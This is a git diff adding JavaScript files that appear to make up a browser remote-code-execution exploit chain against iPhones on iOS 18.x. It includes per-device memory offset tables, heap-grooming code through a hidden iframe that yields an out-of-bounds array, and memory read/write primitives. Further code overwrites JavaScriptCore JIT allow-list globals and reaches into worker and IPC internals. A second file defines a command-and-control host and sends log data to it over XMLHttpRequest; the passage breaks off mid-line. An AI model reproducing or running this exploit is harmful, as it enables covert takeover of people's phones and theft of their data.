"iPhone13,1_22G86", + [0x271da8000n]: "iPhone13,2_3_22G86", + [0x271da8000n]: "iPhone13,4_22G86", + [0x272178000n]: "iPhone14,2_22G86", + [0x272178000n]: "iPhone14,3_22G86", + [0x27174c000n]: "iPhone14,4_22G86", + [0x27174c000n]: "iPhone14,5_22G86", + [0x2716f4000n]: "iPhone14,6_22G86", + [0x271b54000n]: "iPhone14,7_22G86", + [0x271b54000n]: "iPhone14,8_22G86", + [0x272904000n]: "iPhone15,2_22G86", + [0x272904000n]: "iPhone15,3_22G86", + [0x271f24000n]: "iPhone15,4_22G86", + [0x271f24000n]: "iPhone15,5_22G86", + [0x272e34000n]: "iPhone16,1_22G86", + [0x272e34000n]: "iPhone16,2_22G86", + [0x2726f4000n]: "iPhone17,1_22G86", + [0x2726f4000n]: "iPhone17,2_22G86", + [0x272084000n]: "iPhone17,3_22G86", + [0x272084000n]: "iPhone17,4_22G86", + [0x271dcc000n]: "iPhone17,5_22G86" +}, +'18,6,1': { + [0x27101c000n]: "iPhone11,2_4_6_22G90", + [0x271004000n]: "iPhone11,8_22G90", + [0x271118000n]: "iPhone12,1_22G90", + [0x271118000n]: "iPhone12,3_5_22G90", + [0x271050000n]: "iPhone12,8_22G90", + [0x27138c000n]: "iPhone13,1_22G90", + [0x271dbc000n]: "iPhone13,2_3_22G90", + [0x271dbc000n]: "iPhone13,4_22G90", + [0x27218c000n]: "iPhone14,2_22G90", + [0x27218c000n]: "iPhone14,3_22G90", + [0x271760000n]: "iPhone14,4_22G90", + [0x271760000n]: "iPhone14,5_22G90", + [0x271708000n]: "iPhone14,6_22G90", + [0x271b6c000n]: "iPhone14,7_22G90", + [0x271b6c000n]: "iPhone14,8_22G90", + [0x272914000n]: "iPhone15,2_22G90", + [0x272914000n]: "iPhone15,3_22G90", + [0x271f38000n]: "iPhone15,4_22G90", + [0x271f38000n]: "iPhone15,5_22G90", + [0x272e4c000n]: "iPhone16,1_22G90", + [0x272e4c000n]: "iPhone16,2_22G90", + [0x27270c000n]: "iPhone17,1_22G90", + [0x27270c000n]: "iPhone17,2_22G90", + [0x2720a4000n]: "iPhone17,3_22G90", + [0x2720a4000n]: "iPhone17,4_22G90", + [0x271de4000n]: "iPhone17,5_22G90" +}, +'18,6,2': { + [0x27101c000n]: "iPhone11,2_4_6_22G100", + [0x271004000n]: "iPhone11,8_22G100", + [0x271118000n]: "iPhone12,1_22G100", + [0x271118000n]: "iPhone12,3_5_22G100", + [0x271050000n]: "iPhone12,8_22G100", + [0x27138c000n]: "iPhone13,1_22G100", + [0x271dbc000n]: "iPhone13,2_3_22G100", + [0x271dbc000n]: "iPhone13,4_22G100", + [0x27218c000n]: "iPhone14,2_22G100", + [0x27218c000n]: "iPhone14,3_22G100", + [0x271760000n]: "iPhone14,4_22G100", + [0x271760000n]: "iPhone14,5_22G100", + [0x271708000n]: "iPhone14,6_22G100", + [0x271b6c000n]: "iPhone14,7_22G100", + [0x271b6c000n]: "iPhone14,8_22G100", + [0x272914000n]: "iPhone15,2_22G100", + [0x272914000n]: "iPhone15,3_22G100", + [0x271f38000n]: "iPhone15,4_22G100", + [0x271f38000n]: "iPhone15,5_22G100", + [0x272e4c000n]: "iPhone16,1_22G100", + [0x272e4c000n]: "iPhone16,2_22G100", + [0x27270c000n]: "iPhone17,1_22G100", + [0x27270c000n]: "iPhone17,2_22G100", + [0x2720a4000n]: "iPhone17,3_22G100", + [0x2720a4000n]: "iPhone17,4_22G100", + [0x271de4000n]: "iPhone17,5_22G100" +} +}; +const device_chipset = { +"iPhone11,2_4_6_22E240": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22E240": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22E240": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22E240": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,2_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,3_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,4_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,5_22E240": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22E252": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22E252": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22E252": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22E252": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,2_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,3_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,4_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,5_22E252": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22F76": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22F76": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22F76": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22F76": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,2_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,3_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,4_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,5_22F76": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G86": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G86": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G86": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G86": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G86": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G90": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G90": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G90": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G90": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G90": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G100": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G100": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G100": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G100": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G100": "6149d995753968891870832e3fec9195", +}; + + const iosKey = normalizeIosVersionKey(ios_version); + print(`ios_version: ${iosKey}`); + const stubTable = pthread_create_auth_stubs_offset[iosKey] != null + ? pthread_create_auth_stubs_offset + : pthread_create_auth_stubs_offset; + const linkeditTable = linkedit_to_device[iosKey] || linkedit_to_device[iosKey.replace(/,\d+$/, '')]; + if (!linkeditTable) { + print('fatal: no linkedit_to_device for ' + iosKey, true); + return false; + } + const pthread_create_got = BigInt(parse_adrp_add(jsc_base + stubTable[iosKey])); + print(`pthread_create_got: ${pthread_create_got.hex()}`); + const pthread_create = read64(pthread_create_got).noPAC(); + print(`pthread_create: ${pthread_create.hex()}`); + const pcreateOff = pthread_create_offset[iosKey] != null + ? pthread_create_offset[iosKey] + : pthread_create_offset[iosKey.replace(/,\d+$/, '')]; + const libsystem_pthread_base = pthread_create - pcreateOff; + print(`libsystem_pthread_base: ${libsystem_pthread_base.hex()}`); + const libsystem_pthread_linkedit = read64(libsystem_pthread_base + 0x600n); + print(`libsystem_pthread_linkedit: ${libsystem_pthread_linkedit.hex()}`); + device_model = linkeditTable[libsystem_pthread_linkedit]; + if (!device_model) { + print('fatal: unknown linkedit fingerprint ' + libsystem_pthread_linkedit.hex() + ' for ' + iosKey, true); + return false; + } + print("device_model: " + device_model); + chipset = device_chipset[device_model]; + (function resolveOffsetsTable() { + const detected = device_model; + const prefix = detected.split('_')[0] + '_'; + const build = detected.indexOf('_') >= 0 ? detected.split('_').pop() : ''; + const tryKeys = [detected]; + if (build === '22E252') tryKeys.push(prefix + '22E240', prefix + '22F76'); + else if (build === '22E240') tryKeys.push(prefix + '22F76'); + for (let ti = 0; ti < tryKeys.length; ti++) { + if (rce_offsets[tryKeys[ti]]) { + if (tryKeys[ti] !== detected) print('offsets fallback: ' + detected + ' -> ' + tryKeys[ti]); + device_model = tryKeys[ti]; + offsets = rce_offsets[device_model]; + return; + } + } + const candidates = Object.keys(rce_offsets).filter(function (k) { + return k.indexOf(prefix) === 0; + }).sort(); + if (candidates.length) { + const picked = candidates[candidates.length - 1]; + print('offsets fallback: ' + detected + ' -> ' + picked); + device_model = picked; + offsets = rce_offsets[device_model]; + return; + } + offsets = undefined; + })(); + if (!offsets) { + print('fatal: no rce_offsets for ' + device_model, true); + return false; + } + slide = globalFuncParseFloat - offsets.JavaScriptCore__globalFuncParseFloat; + print(`slide: ${slide.hex()}`); + for (const key of Object.keys(offsets)) { + if (offsets[key] >= 0x100000000n) offsets[key] += slide; + } + write64(offsets.JavaScriptCore__jitAllowList_once, 0xffffffffffffffffn); + write64(offsets.JavaScriptCore__jitAllowList + 8n, 1n); + this.stage2(); + return true; + } + + stage2() { + print("Inside stage2"); + try + { + const contexts = this.read64(offsets.WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts); + const contexts_length = this.read32(contexts - 4n); + + let worker; + + for (let i = 0n; i < contexts_length; ++i) { + const scriptExecutionContext = this.read64(contexts + 0x30n * i + 0x20n); + if (!scriptExecutionContext) + continue; + + const vtable = this.read64(scriptExecutionContext); + //print(`vtable: ${vtable.noPAC()}`); + if (vtable.noPAC() != offsets.WebCore__DedicatedWorkerGlobalScope_vtable) + continue; + + const id = this.read64(scriptExecutionContext + 0x138n); + if (id > maximum_id) { + maximum_id = id; + worker = scriptExecutionContext; + } + } + + print(`worker: ${worker.hex()}`); + + const script = this.read64(worker + 0x150n); + const workerOrWorkletThread = this.read64(worker + 0x160n); + const Strong_globalScopeWrapper = this.read64(script + 0x20n); + const globalScopeWrapper = this.read64(Strong_globalScopeWrapper); + const worker_global_butterfly = this.read64(globalScopeWrapper + 8n); + print(`butterfly:${worker_global_butterfly.hex()}`); + const unboxed_arr = this.read64(worker_global_butterfly); + const boxed_arr = this.read64(worker_global_butterfly + 8n); + const butterfly = this.read64(boxed_arr + 8n); + this.write64(unboxed_arr + 8n, butterfly); + print("Finished stage2 succesfully"); + } + catch(e) + { + print("got error in stage2: " + e); + } + } + + + start() { + const victim_array_allocation_size = (0x120>>3); + const victim_array_allocations_in_page = 50; + var victim_cursor = 0; + + const egg1 = 0x5f2893ab; + const egg2 = 0x163967eb; + const victim_list_size = 4*victim_array_allocations_in_page; + + //FIXME change "victim" to "victim", they don't serve the same purpose here. + const victim_array_RO = () => {return [1.1,2.2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8];} + var victim_list = new Array(victim_list_size).fill(1.1); + + var the_oob_object = new Array(); + the_oob_object[14] = 1.1; + for(let i = 0 ; i < 12; i++){ + the_oob_object[i] = i; + } + + //var the_oob_object = the_oob_object_RO(); + //the_oob_object[0] = 1.1; // we do this allocation now so thatonly on double->withStorage we will allocate. + //we count on COW to get us the rigth array sizes + // we can probably use fill but whatever... + for (let i = 0; i < victim_list_size; i++){ + victim_list[i] = victim_array_RO(); + } + + for (let i = 0; i < 2; i++){ + for (let j = 0 ; j < victim_array_allocations_in_page; j++){ + victim_list[victim_cursor][0] = i; + victim_list[victim_cursor][1] = egg1; + victim_list[victim_cursor][2] = egg2; + victim_list[victim_cursor][3] = victim_cursor; + victim_cursor++; + } + } + + for(let j = 0; j < 5; j++){ + victim_list[victim_cursor][0] = 3; + victim_list[victim_cursor][1] = egg1; + victim_list[victim_cursor][2] = egg2; + victim_list[victim_cursor][3] = victim_cursor; + victim_cursor++; + } + + the_oob_object[1001] = 1.1; + the_oob_object.length = 31; + delete the_oob_object[0]; + for(let i = 1; i < 31; i++){ + the_oob_object[i] = 1.1; + } //object should have 0x1e(30) items loaded, we want to overwrite +0x25(37) + const oob_object_target_length = 32; + the_oob_object.length = oob_object_target_length; + const holes_to_add = (oob_object_target_length - 30); + + for (let j = 6 ; j < victim_array_allocations_in_page; j++){ + victim_list[victim_cursor][0] = 3; + victim_list[victim_cursor][1] = egg1; + victim_list[victim_cursor][2] = egg2; + victim_list[victim_cursor][3] = victim_cursor; + victim_cursor++; + } + + for (let i = 0; i < 1; i++){ + for (let j = 0 ; j < victim_array_allocations_in_page; j++){ + victim_list[victim_cursor][0] = i; + victim_list[victim_cursor][1] = egg1; + victim_list[victim_cursor][2] = egg2; + victim_list[victim_cursor][3] = victim_cursor; + victim_cursor++; + } + } + + let iframe_elem = document.createElement('iframe'); + iframe_elem.style.visibility = 'hidden'; + let otherGlobalObject = document.body.appendChild(iframe_elem).contentWindow; + let z = new otherGlobalObject.Array(1); + + otherGlobalObject.dopush_contigious = (x) => { + x.push(1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6,1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6,1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6,1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6,1.1,z,2,3,4,5,6,7,8,9,1,2,3,4,5,6); + } + + otherGlobalObject.dontjitme_contigious = () => { + for (let i = 0; i < 10000; i++){ + let regexp = new otherGlobalObject.RegExp('a', 'g'); + let a = new otherGlobalObject.String('a'); + let magic = a.match(regexp); + otherGlobalObject.dopush_contigious(magic); + } + } + + const dopush_float = (x) => { + x.push(1.1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0); + } + + const dontjitme_float = () => { + for (let i = 0; i < 10000; i++){ + let arr = new Array(1); + arr[0] = 1.1; + dopush_float(arr); + } + } + + let oob_object = new Array(1); + oob_object[0] = 1.1; + oob_object[1001] = 1.1; + oob_object.length = 4; + let testvar = undefined; + otherGlobalObject.Object.defineProperty(otherGlobalObject.Array.prototype, 128662, {set(v) {for(let i = 0; i < holes_to_add; i++){ the_oob_object[0] = v;} return 42;}}); null; + + let counter = 0; + otherGlobalObject.Object.defineProperty(otherGlobalObject.Array.prototype, 128661, {set() {counter++; if (counter == 1) { doDoubleMagic();} return 42;}}); null; + + const doDoubleMagic = () => { + let doublemagic = new Array(1); + doublemagic[0] = 1.1; + dopush_float(doublemagic); + } + + otherGlobalObject.domagic = () => { + let regexp = new otherGlobalObject.RegExp('a', 'g'); + let a = new otherGlobalObject.String('a'); + let newmagic = a.match(regexp); + let magic_indexes = new otherGlobalObject.Array(498, 1003, 2008, 4018, 8038, 16078, 32158, 64318, 128636); + for (let i of magic_indexes) { + newmagic[i] = 1; + } + otherGlobalObject.dopush_contigious(newmagic); + return newmagic; + } + + otherGlobalObject.dontjitme_contigious(); + dontjitme_float(); + + return sleep(wait_for_jit_compilation_ms).then(() => { + + let debug_1 = otherGlobalObject.domagic(); null; + + the_oob_object.splice(30,0,1,2,3,4,5,6,7); + + //now we should have a victim with a nice length. + + var oob_array_idx = undefined; + var overlap_array_idx = undefined; + var overlap_idx_in_oob_array = undefined; + var oob_array = undefined; + + + const check_victim = () => { + for (let j = 0; j < victim_cursor; j++){ + if (victim_list[j].length > (victim_array_allocation_size*10)){ + oob_array_idx = j; + break; + } + } + if(oob_array_idx === undefined){ + return false; + } + oob_array = victim_list[oob_array_idx]; + for (let i = 1; i < victim_array_allocation_size*10; i++){ + if(oob_array[i+1] === egg1 && oob_array[i+2] === egg2){ + overlap_array_idx = oob_array[i+3]; + overlap_idx_in_oob_array = i-1; + break; + } + } + if(overlap_array_idx === undefined){ + return false; + } + this.oob_array = oob_array; + this.overlap_idx_in_oob_array = overlap_idx_in_oob_array + 1; + this.overlap_array = victim_list[overlap_array_idx]; + return true; + } + + let got_victim = check_victim(); + if(!got_victim) + { + print("Failed RCE"); + return false; + } + print("RCE success"); + return this.stage1(); + }); + } +} +globalThis.check_attempt = check_attempt; diff --git a/channel-builder-ds/source/rce_worker_18.4.js b/channel-builder-ds/source/rce_worker_18.4.js new file mode 100644 index 0000000..b996a7b --- /dev/null +++ b/channel-builder-ds/source/rce_worker_18.4.js @@ -0,0 +1,1024 @@ +var SERVER_LOG; +var __labC2Host = 'https://mh0usocqzi6f46i.com:443'; +let offsets; +let MessageName; + +const no_cow = 1.1; +const unboxed_arr = [no_cow]; +const boxed_arr = [{}]; + +self[0] = unboxed_arr; +self[1] = boxed_arr; +(() => { + const rce_begin = Date.now(); + class Encoder { + constructor(messageName, destinationID) { + this.argList = []; + if (arguments.length) { + this.messageName = messageName; + this.destinationID = destinationID; + this.encode('uint8_t', 0); + this.encode('uint16_t', this.messageName); + this.encode('uint64_t', this.destinationID); + } + } + encode(type, value) { + this.argList.push({ + type, + value + }); + return this; + } + encode8BitString(str) { + this.encode('uint32_t', str.length); + this.encode('bool', true); + this.argList.push({ + type: 'bytes', + value: str + }); + return this; + } + encodeNullString() { + this.encode('uint32_t', 0xffffffff); + return this; + } + static argumentAlignment(arg) { + switch (arg.type) { + case 'uint64_t': + case 'int64_t': + return 8; + case 'uint32_t': + case 'int32_t': + case 'float': + return 4; + case 'uint16_t': + case 'int16_t': + return 2; + case 'uint8_t': + case 'int8_t': + case 'bool': + return 1; + case 'bytes': + return 0; + default: + ASSERT_NOT_REACHED(`Encoder.argumentAlignment(): unexpected type name: ${arg.type}`); + } + } + static argumentSize(arg) { + switch (arg.type) { + case 'uint64_t': + case 'int64_t': + return 8; + case 'uint32_t': + case 'int32_t': + case 'float': + return 4; + case 'uint16_t': + case 'int16_t': + return 2; + case 'uint8_t': + case 'int8_t': + case 'bool': + return 1; + case 'bytes': + if (typeof arg.value == 'string') { + return arg.value.length; + } else { + return arg.value.byteLength; + } + default: + ASSERT_NOT_REACHED(`argumentSize(): unexpected type name: ${arg.type}`); + } + } + buffer() { + if (this.__buffer) return this.__buffer; + let bufferSize = 0; + for (const arg of this.argList) { + const alignment = Encoder.argumentAlignment(arg); + const remainder = bufferSize % alignment; + if (remainder) { + bufferSize += alignment - remainder; + } + bufferSize += Encoder.argumentSize(arg); + } + const buffer = new ArrayBuffer(bufferSize); + const view = new DataView(buffer); + let bufferOffset = 0; + for (const arg of this.argList) { + const alignment = Encoder.argumentAlignment(arg); + const remainder = bufferOffset % alignment; + if (remainder) { + bufferOffset += alignment - remainder; + } + switch (arg.type) { + case 'float': + view.setFloat32(bufferOffset, arg.value, true); + break; + case 'uint64_t': + view.setBigUint64(bufferOffset, arg.value, true); + break; + case 'int64_t': + view.setBigInt64(bufferOffset, arg.value, true); + break; + case 'uint32_t': + view.setUint32(bufferOffset, arg.value, true); + break; + case 'int32_t': + view.setInt32(bufferOffset, arg.value, true); + break; + case 'uint16_t': + view.setUint16(bufferOffset, arg.value, true); + break; + case 'int16_t': + view.setInt16(bufferOffset, arg.value, true); + break; + case 'uint8_t': + view.setUint8(bufferOffset, arg.value); + break; + case 'int8_t': + view.setInt8(bufferOffset, arg.value); + break; + case 'bool': + view.setInt8(bufferOffset, !!arg.value); + break; + case 'bytes': + const buffer_u8 = new Uint8Array(buffer); + if (typeof arg.value == 'string') { + for (let i = 0; i < arg.value.length; ++i) buffer_u8[bufferOffset + i] = arg.value.charCodeAt(i); + } else { + for (let i = 0; i < arg.value.byteLength; ++i) buffer_u8[bufferOffset + i] = arg.value[i]; + } + break; + default: + ASSERT_NOT_REACHED(`buffer(): unexpected type name: ${arg.type}`); + } + bufferOffset += Encoder.argumentSize(arg); + } + return this.__buffer = buffer; + } + } + ; + let log_url_prefix; + const canvas = new OffscreenCanvas(1, 1); + const ab = new ArrayBuffer(8); + const f64 = new Float64Array(ab); + const u32 = new Uint32Array(ab); + const u64 = new BigUint64Array(ab); + const u8 = new Uint8Array(ab); + BigInt.prototype.hex = function () { + let s = '0x' + this.toString(16); + return s; + }; + BigInt.fromDouble = function (v) { + f64[0] = v; + return u64[0]; + }; + BigInt.prototype.asDouble = function () { + u64[0] = this; + return f64[0]; + }; + BigInt.prototype.noPAC = function () { + return this & 0x7fffffffffn; + }; + BigInt.prototype.add = function (other) { + return this + other; + }; + BigInt.prototype.sub = function (other) { + return this - other; + }; + BigInt.prototype.asInt32s = function () { + u64[0] = this; + let lo = u32[0]; + let hi = u32[1]; + if (hi >= 0x80000000) { + hi = hi - 0x100000000 & 0xffffffff; + } + if (lo >= 0x80000000) { + lo = lo - 0x100000000 & 0xffffffff; + } + return [lo, hi]; + }; + let read64_biguint64arr = new BigUint64Array(4); + ArrayBuffer.prototype.data = function () { + return p.read64(p.read64(p.addrof(this) + 0x10n) + 0x10n); + }; + BigUint64Array.prototype.data = function () { + return p.read64(p.addrof(this) + 0x10n); + }; + Uint8Array.prototype.data = function () { + return p.read64(p.addrof(this) + 0x10n); + }; + function sleep(ms) { + const begin = Date.now(); + while (Date.now() - begin < ms); + } + let logStart = new Date().getTime(); + let logEntryID = 0; + function print(x, reportError = false, dumphex = false) { + let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x; + if (!SERVER_LOG && !reportError) return; + let obj = { + id: logEntryID++, + text: out, + } + if (dumphex) { + obj.hex = 1 + obj.text = x + } + let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') + const xhr = new XMLHttpRequest(); + var logBase = ''; + try { + if (typeof __labC2Host === 'string' && __labC2Host) 